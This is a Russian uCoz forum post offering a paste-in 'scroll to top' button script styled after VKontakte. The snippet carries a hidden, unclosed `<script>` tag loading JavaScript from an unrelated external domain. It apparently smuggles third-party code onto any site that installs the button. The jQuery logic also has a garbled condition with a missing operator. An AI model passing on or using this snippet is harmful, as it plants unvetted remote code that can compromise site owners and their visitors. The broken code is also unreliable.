Главная Форум Файлы Контакты RSS 2.0  
Меню сайта
  • Главная страница
  • Файловый архив
  • Форум
  • Кино он-лайн


  • Наш опрос
    Как Вам дизайн сайта?
    Всего ответов: 23
    [ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
    • Страница 1 из 1
    • 1
    Боковая панель "Вверх" как вконтакте для uCoz
    BotsManДата: Суббота, 31.03.2012, 13:49 | Сообщение # 1
    Рядовой
    Группа: Пользователи
    Сообщений: 19
    « 0 »
    Статус: Offline
    Шыкарный скрипт! на темный дизайнах бомбезно смотрится

    Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg

    Идея данного скрипта была взята с социальной сети Вконтакте

    Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

    Установка:
    В любой глобальный блок в самый низ:

    Code
    <style>   
       #aposcroll a {   
       text-decoration:none;   
       color:red;   
       }   

       #aposcroll:hover {   
       background-color:rgba(200, 200, 200, 0.7);   
       box-shadow:0px -5px 10px #777;   
       }   
       </style>   
       <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>   

       <script>   
       // Кнопка Вверх by Apocalypse   
       var as = $('#aposcroll');   
       as.click(function() {   
       $(document).scrollTo(0, 500);   
       });   
       document.onscroll = function() {   
       var apolst = '0.'+$('body').scrollTop();   
       if(apolst.length == 5) {   
       as.stop().fadeTo(500, apolst);   
       } else if(apolst.length == 4  apolst.length == 3) {   
       as.stop().fadeTo(500, 0);   
       };   
       };   
       // apo-ucoz.com (c) 2012   
       </script>


    Алексей
    • Страница 1 из 1
    • 1
    Поиск:
    Календарь новостей


    Поиск


    Друзья сайта


    Статистика
    Счетчики
    Google-Add.com - Открытый Каталог Сайтов

    Design by WARRIOR & Все права защищены © 2024